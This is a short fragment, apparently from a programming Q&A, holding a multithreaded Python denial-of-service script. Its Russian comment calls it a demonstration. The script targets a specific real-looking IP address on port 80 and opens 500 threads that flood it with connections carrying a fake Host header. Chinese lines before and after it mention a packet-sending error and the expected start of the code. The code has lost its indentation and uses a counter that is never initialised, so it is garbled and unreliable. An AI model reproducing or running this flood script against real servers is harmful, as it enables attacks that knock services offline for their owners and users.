发送数据包时出错。
import threading
import socket
target = '95.163.181.222'
port = 80
fake_ip = '182.253.21.34'
# показательная версия работы DoS атак
def attack():
while True:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.sendto(("GET /" + target + "HTTP/1.1\r\n").encode('ascii'), (target, port))
s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (target, port))
s.close()
global already_connected
already_connected += 1
if already_connected % 500 == 0:
print(already_connected)
for i in range(500):
thread = threading.Thread(target=attack)
thread.start()

代码的开头应如下所示: